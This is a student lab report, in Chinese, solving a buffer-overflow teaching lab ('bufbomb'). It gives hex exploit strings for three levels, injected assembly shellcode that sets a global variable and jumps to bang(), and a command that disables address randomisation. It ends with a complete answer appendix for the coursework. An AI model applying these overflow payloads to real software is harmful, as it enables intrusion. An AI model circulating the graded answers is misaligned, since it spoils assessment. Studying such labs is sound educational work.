写在前面:
上交的实验报告需要包含账户的姓名全拼以及学号,本报告的相应部分已经打码处理,请在自己的环境中完成实验!
一、 实验目的:
1. 理解程序函数调用中参数传递机制;
2. 掌握缓冲区溢出攻击方法;
3. 进一步熟练掌握GDB调试工具和objdump反汇编工具。
二、实验环境:
1. 计算机(Intel CPU)
2. Linux 64位操作系统
3. GDB调试工具
4. objdump反汇编工具
三、实验方法与步骤:
本实验设计为一个黑客利用缓冲区溢出技术进行攻击的游戏。我们仅给黑客(同学)提供一个二进制可执行文件bufbomb和部分函数的C代码,不提供每个关卡的源代码。程序运行中有3个关卡,每个关卡需要用户输入正确的缓冲区内容,否则无法通过关卡!
要求同学查看各关卡的要求,运用GDB调试工具和objdump反汇编工具,通过分析汇编代码和相应的栈帧结构,通过缓冲区溢出办法在执行了getbuf()函数返回时作攻击,使之返回到各关卡要求的指定函数中。第一关只需要返回到指定函数,第二关不仅返回到指定函数还需要为该指定函数准备好参数,最后一关要求在返回到指定函数之前执行一段汇编代码完成全局变量的修改。
本实验要求解决关卡1、2、3,给出实验思路,通过截图把实验过程和结果写在实验报告上。
四、实验过程及内容:
准备工作:
首先在desktop目录下新建一个文件夹experiment_4用于保存本实验的所有文件。从网站上下载实验所需文件,并将其存入此文件夹中。
接着在root权限下输入命令:apt-get install lib32ncurses5-dev,安装一个32位的库。
再使用命令:apt install sendmail,安装sendmail。
接下来即可开始实验:
首先使用反汇编指令查看getbuf函数的汇编代码:
图:getbuf函数的汇编代码
由图可知,函数首先将%ebp的值存入栈中,接着使用%ebp保存当前的栈指针%esp。接下来将%esp减去0x28,为栈分配空间。接下来将%eax赋值为%ebp的值-18,也就是初始栈指针的位置-18,以此作为字符数组buf的起点。最后将%eax的值存入栈中,调用gets函数。
由此,栈帧的结构如下:
如果gets函数读取的字符串长度小于12,空间将可以被正确分配。但如果大于等于12,就会占用其他空间:
任务一:
使getbuf()返回时,不返回到test(),而是直接返回到指定的smoke()函数(该函数已经存在于bufbomb可执行文件中)。
由任务要求,我们需要改变返回地址的内容,而返回地址存储在字符串起点后第28-31个字符的位置。因此,我们需要输入一个长度为32的字符串,其中最后四位需要是smoke()函数的地址。
接下来使用指令objdump-t bufbomb|grep-e smoke查看smoke函数的位置。
由图可知,smoke函数位于08048eb0处,而由于输入的字符串是由下到上存储的,因此最后四位需要是b08e0408。
综上,任务一的输入可为:
00000000000000000000000000000000000000000000000000000000b08e0408
在实验四文件夹新建一个0.txt文件,将任务一的答案存入文件中。
最后使用命令:cat 0.txt|./sendstring |./bufbomb -t 队伍名(你的姓名全拼)
可见,答案正确。
任务二:
使getbuf()返回时,不返回到test(),而是直接返回到指定的fizz()函数,而且要求给fizz()函数传入一个黑客cookie值作为参数。
首先还是使用objdump查看fizz()函数的汇编代码:objdump -d bufbomb|grep -A15 "fizz"
图:fizz()函数的汇编代码
阅读此函数的汇编代码,可知:函数会将栈指针-8,再将旧的栈指针+8位置的值写入%eax中,作为传入的参数。也就是说,传入的参数位于旧的栈指针+8的位置。具体的栈帧结构如图:
对应到getbuf()函数中的栈帧结构如下:
因此,输入字符串总共有40位,我们需要将cookie值(由任务一输出结果可知为0x27d29494)写在输入字符串的最后四位(仍需注意由于字符串由下到上存储,需要将顺序按字节反过来),将fizz函数的位置放在倒数9-12位。
输入可以为:
00000000000000000000000000000000000000000000000000000000608e0408000000009494d227
与任务一同理,将此字符串写入0.txt文件中,再使用同上指令进行测试:
图:测试结果
可见任务二已正确完成。
任务三:
使getbuf()返回时,不返回到test(),而是直接返回到指定的bang()函数(该函数已经存在于bufbomb可执行文件中),并且在返回到bang()之前,先修改全局变量global_value为你的黑客cookie值。
首先,为了能精确地跳转到指定地址,需要先在root权限下关闭内存地址随机化,使用指令:
sysctl -w kernel.randomize_va_space=0
接下来使用objdump查看bang()函数的汇编代码:
图:bang()函数汇编代码
如图:函数首先比较了地址0x804a1c4和0x804a1d4中的内容,并要求两个地址的内容相同。
接下来使用gdb模式运行bufbomb,并查看这两个地址的值:
由图可见,地址0x804a1c4存储的就是目标的全局变量global_value的值,而0x804a1d4中则是存储了cookie。
接着使用objdump查询bang()函数的入口地址为0x08048e10。
到这里,就可以确定我们自己写的代码要干的事情了。首先是将global_value的值设置为cookie的值,也就是将0x804a1c4的值设置为0x804a1d4的值,然后将bang()函数的入口地址0x08048e10压入栈中,这样当函数返回的时候,就会直接取栈顶作为返回地址,从而调用bang()函数。接着函数返回,此时返回的地址就是上一条语句中压入栈中的地址,也就是bang()函数的入口地址了。
因此,可得汇编代码:
movl (0x804a1d4),%edx
movl %edx,(0x804a1c4)
push $0x08048e10
ret
将这段汇编代码写入新建的文件3.s中(此处可以使用nano命令实现),并使用gcc指令编译此代码:
gcc -c 3.s -o 3.o
再使用objdump指令将汇编代码输出到文本文档中(此处将其输出到3.txt中):
objdump -d 3.o > 3.txt
接着打开3.txt文件,可以看到汇编后的代码(十六进制):
8b 14 25 d4 a1 04 08 89 14 25 c4 a1 04 08 68 10 8e 04 08 c3
接下来需要获取buf[]数组的首地址,此处可以使用gdb调试得到:
使用命令gdb bufbomb以gdb模式运行bufbomb,并在0x08048adc处(也就是gets函数的起始处)设置一个断点,程序运行到此处时查看寄存器%ebp中的值:
图:调试结果
由图可知,此时寄存器%ebp中的值为0xffffb4f8,因此buf[]字符串数组的起点为%ebp-0x18=0xffffb4e0
将上述结果综合起来构成本任务的答案:首先前四十位是3.s对应的十六进制机器码,接着是十六个0,最后是buf[]数组的首地址0xffffb4e0:
8b1425d4a10408891425c4a1040868108e0408c30000000000000000e0b4ffff
将此串保存到0.txt中,并进行测试:
图:实验结果
由图可知:任务三正确完成。
五、实验总结与体会
实验总结:
本次实验通过给有漏洞的gets函数特定的字符串输入,分别完成了三个任务:①:使得原本的函数不能正确返回,并返回到指定的函数中;②:在①的基础上,给指定的函数传入了特定的参数,也即黑客的cookie值;③:在①的基础上,实现了在返回到指定函数之前先修改一个全局变量的操作。最终圆满完成了实验要求。
实验体会:
通过本次实验,我学习了缓冲区溢出攻击的方法及其防护方法,如设置金丝雀值、内存地址随机等。学习了如何分析函数的栈帧。并且进一步加强了对gdb的各种使用操作。让我对计算机系统的理解得到了加深。
本实验中,面对存在漏洞的gets函数,我们可以通过特定的输入破坏栈中原本的信息达成特殊的目的,因此,我们编写程序时要严谨思考,避免留下漏洞。
尾注
如有疑问欢迎讨论,如有好的建议与意见欢迎提出,如有发现错误则恳请指正!
附:虚拟机常用指令+本实验全部答案
实验四:/*
实验环境准备:
①安装一个32位的库:apt-get install lib32ncurses5-dev
②安装sendmail:apt install sendmail
进入实验四文件夹(需要先创建):cd ~/Desktop/experiment_4/buflab-handout
查看getbuf函数的汇编代码:objdump -d bufbomb|grep -A15 "<getbuf>"
查看smoke函数的地址:objdump -t bufbomb|grep -e smoke
任务一答案:00000000000000000000000000000000000000000000000000000000b08e0408
将0.txt输入到bufbomb:cat 0.txt|./sendstring |./bufbomb -t (队伍名)
查看fizz()函数的汇编代码:objdump -d bufbomb|grep -A15 "fizz"
任务二答案:00000000000000000000000000000000000000000000000000000000608e0408000000009494d227
关闭内存地址随机化:sysctl -w kernel.randomize_va_space=0
查看bang()函数的汇编代码:objdump -d bufbomb|grep -A20 "<bang>"
进入gdb模式:gdb bufbomb
显示地址0x804a1c4内容(需要先进gdb):x/x 0x804a1c4
显示地址0x804a1d4内容(需要先进gdb):x/x 0x804a1d4
任务三答案(多行),需要将其写入文件夹中新建的3.s文件中:
movl (0x804a1d4),%edx
movl %edx,(0x804a1c4)
push $0x08048e10
ret
编译3.s文件:gcc -c 3.s -o 3.o
汇编代码输出到文本文档中:objdump -d 3.o > 3.txt
*/